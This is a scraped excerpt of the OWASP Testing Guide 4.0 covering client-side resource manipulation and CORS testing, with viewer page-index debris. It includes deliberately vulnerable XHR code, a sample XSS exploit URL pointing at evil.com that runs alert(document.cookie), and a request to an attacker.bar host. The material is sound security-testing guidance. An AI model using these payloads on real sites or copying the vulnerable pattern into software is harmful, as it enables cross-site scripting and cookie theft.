4.0

More documents

Recommendations

Info

194 Web Application Penetration Testing function createCORSRequest(method, url) { var xhr = new XMLHttpRequest(); xhr.open(method, url, true); xhr.onreadystatechange = function () { if (this.status == 200 && this.readyState == 4) { document.getElementById(‘p’).innerHTML = this.responseText; } }; return xhr; } var xhr = createCORSRequest(‘GET’, location.hash.slice(1)); xhr.send(null); The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler. Exploit URL: www.victim.com/#http://evil.com/html.html http: /evil.com/html.html ---- alert(document.cookie); Black Box testing Black box testing for Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. Gray Box testing Testing for Client Side Resource Manipulation vulnerabilities: To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly validating them; these are under the control of the user which could be able to specify the url of some resources. Since there are many resources that could be included into the application (for example images, video, object, css, frames etc.), client side scripts which handle the associated URLs should be investigated for potential issues. The following table shows the possible injection points (sink) that should be checked: Resource Frame Link AJAX Request CSS Tag/Method iframe a xhr.open(method, [url], true); link Sink src href URL href Resource Image Object Script Tag/Method img object script Sink src data The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities. When trying to check for this kind of issues, consider that some characters are treated differently by different browsers. Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/ Tools • DOMinator - https://dominator.mindedsecurity.com/ References OWASP Resources • DOM based XSS Prevention Cheat Sheet • DOMXSS.com - http://www.domxss.com • DOMXSS TestCase - http://www.domxss.com/domxss/01 Basics/04_script_src.html Whitepapers • DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki LocationSources • Krzysztof Kotowicz: “Local or External? Weird URL formats on the loose” - http://kotowicz.net/absolute/ Test Cross Origin Resource Sharing (OTG-CLIENT-007) Summary Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform “cross-domain” requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy. Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers. The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not. src
195 Web Application Penetration Testing How to Test Origin & Access-Control-Allow-Origin The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data. Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header. From a penetration testing perspective you should look for insecure configurations as for example using a ‘*’ wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone. Access-Control-Request-Method & Access-Control-Allow-Method The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use. Access-Control-Request-Headers & Access-Control-Allow-Headers These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request. Access-Control-Allow-Credentials This header as part of a preflight request indicates that the final request can include user credentials. Input validation XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input. Other headers There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document. Black Box testing Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. Gray Box testing Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples: Example 1: Insecure response with wildcard ‘*’ in Access-Control-Allow-Origin: Request (note the ‘Origin’ header:) GET http: /attacker.bar/test.php HTTP/1.1 Host: attacker.bar User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:2<strong>4.0</strong>) Gecko/20100101 Firefox/2<strong>4.0</strong> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http: /example.foo/CORSexample1.html Origin: http: /example.foo Connection: keep-alive Response (note the ‘Access-Control-Allow-Origin’ header:) HTTP/1.1 200 OK Date: Mon, 07 Oct 2013 18:57:53 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.4.4-14+deb7u3 Access-Control-Allow-Origin: * Content-Length: 4 Keep-Alive: timeout=15, max=99 Connection: Keep-Alive Content-Type: application/xml [Response Body] Example 2: Input validation issue, XSS with CORS: This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server. Vulnerable code: var req = new XMLHttpRequest(); req.onreadystatechange = function() {
Page 1 and 2:
1 Testing Guide 4.0 Project Leaders
Page 3 and 4:
Testing Guide Foreword - Table of c
Page 5 and 6:
3 Testing Guide Foreword - Table of
Page 7 and 8:
5 Testing Guide Foreword - By Eoin
Page 9 and 10:
7 Testing Guide Frontispiece 1 Test
Page 11 and 12:
9 Testing Guide Introduction 2 The
Page 13 and 14:
11 Testing Guide Introduction vide
Page 15 and 16:
13 Testing Guide Introduction Testi
Page 17 and 18:
15 Testing Guide Introduction laid
Page 19 and 20:
17 Testing Guide Introduction valid
Page 21 and 22:
19 Testing Guide Introduction USER
Page 23 and 24:
21 Testing Guide Introduction ment
Page 25 and 26:
23 Testing Guide Introduction offen
Page 27 and 28:
25 The OWASP Testing Framework sect
Page 29 and 30:
27 Web Application Penetration Test
Page 31 and 32:
Page 33 and 34:
Page 35 and 36:
Page 37 and 38:
Page 39 and 40:
Page 41 and 42:
Page 43 and 44:
Page 45 and 46:
Page 47 and 48:
Page 49 and 50:
Page 51 and 52:
Page 53 and 54:
Page 55 and 56:
Page 57 and 58:
Page 59 and 60:
Page 61 and 62:
Page 63 and 64:
Page 65 and 66:
Page 67 and 68:
Page 69 and 70:
Page 71 and 72:
Page 73 and 74:
Page 75 and 76:
Page 77 and 78:
Page 79 and 80:
Page 81 and 82:
Page 83 and 84:
Page 85 and 86:
Page 87 and 88:
Page 89 and 90:
Page 91 and 92:
Page 93 and 94:
Page 95 and 96:
Page 97 and 98:
Page 99 and 100:
Page 101 and 102:
Page 103 and 104:
101 Web Application Penetration Tes
Page 105 and 106:
Page 107 and 108:
Page 109 and 110:
Page 111 and 112:
Page 113 and 114:
Page 115 and 116:
Page 117 and 118:
Page 119 and 120:
Page 121 and 122:
Page 123 and 124:
Page 125 and 126:
Page 127 and 128:
Page 129 and 130:
Page 131 and 132:
Page 133 and 134:
Page 135 and 136:
Page 137 and 138:
Page 139 and 140:
Page 141 and 142:
Page 143 and 144:
Page 145 and 146: 143 Web Application Penetration Tes
Page 195: 193 Web Application Penetration Tes
Page 211 and 212: 209 same code can be applied to ses
Page 213 and 214: 211 Reporting Test ID Lowest versio
Page 215 and 216: 213 Reporting Test ID Business Logi
Page 217 and 218: 215 Appendix kajfghlhfkcocafkcjlajl
Page 219 and 220: 217 Appendix Testing - http:/www.ni
Page 221 and 222: 219 Cross Site Scripting (XSS) For
Page 223 and 224: 221 LDAP Injection For details on L
show all

4.0

Create successful ePaper yourself

Delete template?

Save as template?